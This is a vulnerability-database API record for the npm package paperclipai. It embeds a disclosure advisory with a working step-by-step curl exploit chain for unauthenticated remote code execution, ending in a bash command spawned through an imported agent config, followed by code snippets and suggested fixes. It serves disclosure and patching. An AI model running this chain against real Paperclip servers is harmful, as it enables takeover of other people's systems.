Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/1019422?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/1019422?format=api", "purl": "pkg:npm/paperclipai@2026.407.0-canary.10", "type": "npm", "namespace": "", "name": "paperclipai", "version": "2026.407.0-canary.10", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": null, "latest_non_vulnerable_version": null, "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89419?format=api", "vulnerability_id": "VCID-jexk-x13x-dqc3", "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass\n## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}' \\\n http://<target>:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n disableSignUpFromEnv !== undefined\n ? disableSignUpFromEnv === \"true\"\n : (fileConfig?.auth?.disableSignUp ?? false); // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n enabled: true,\n requireEmailVerification: false,\n disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn't documented in the deployment guide, so operators don't know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}' \\\n http://<target>:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n -d '{\"command\":\"test\"}' \\\n http://<target>:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n -H \"Cookie: <session-cookie>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\"token\":\"<token-from-above>\"}' \\\n http://<target>:3100/api/cli-auth/challenges/<id>/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId && !isLocalImplicit(req))) {\n throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) => {\n assertBoard(req);\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n assertBoard(req); // only checks board type\n if (req.body.target.mode === \"existing_company\") {\n assertCompanyAccess(req, req.body.target.companyId); // only for existing\n }\n // NO assertInstanceAdmin for \"new_company\" mode\n const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn't even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{\n \"source\": {\"type\": \"inline\", \"files\": {\n \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n \".paperclip.yaml\": \"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"\n }},\n \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n \"include\": {\"company\": true, \"agents\": true},\n \"agents\": \"all\"\n }' \\\n http://<target>:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer <board-api-key>\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Origin: http://<target>:3100\" \\\n -d '{}' \\\n http://<target>:3100/api/agents/<agent-id>/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id > /tmp/pwned.txt && ...\"` as the server's OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://<target>:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company's approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company's agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n throw forbidden(\"Instance admin required\");\n }\n} else {\n assertCompanyAccess(req, req.body.target.companyId);\n}\n```", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41679", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00774", "scoring_system": "epss", "scoring_elements": "0.73991", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00774", "scoring_system": "epss", "scoring_elements": "0.73964", "published_at": "2026-06-08T12:55:00Z" }, { "value": "0.00774", "scoring_system": "epss", "scoring_elements": "0.73981", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.00774", "scoring_system": "epss", "scoring_elements": "0.73995", "published_at": "2026-06-06T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41679" }, { "reference_url": "https://github.com/paperclipai/paperclip", "reference_id": "", "reference_type": "", "scores": [ { "value": "10.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/paperclipai/paperclip" }, { "reference_url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7", "reference_id": "", "reference_type": "", "scores": [ { "value": "10", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "10.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:39:48Z/" } ], "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679", "reference_id": "", "reference_type": "", "scores": [ { "value": "10.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679" }, { "reference_url": "https://github.com/advisories/GHSA-68qg-g8mg-6pr7", "reference_id": "GHSA-68qg-g8mg-6pr7", "reference_type": "", "scores": [ { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-68qg-g8mg-6pr7" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110585?format=api", "purl": "pkg:npm/paperclipai@2026.410.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/paperclipai@2026.410.0" } ], "aliases": [ "CVE-2026-41679", "GHSA-68qg-g8mg-6pr7" ], "risk_score": 4.5, "exploitability": "0.5", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-jexk-x13x-dqc3" } ], "fixing_vulnerabilities": [], "risk_score": "4.5", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/paperclipai@2026.407.0-canary.10" }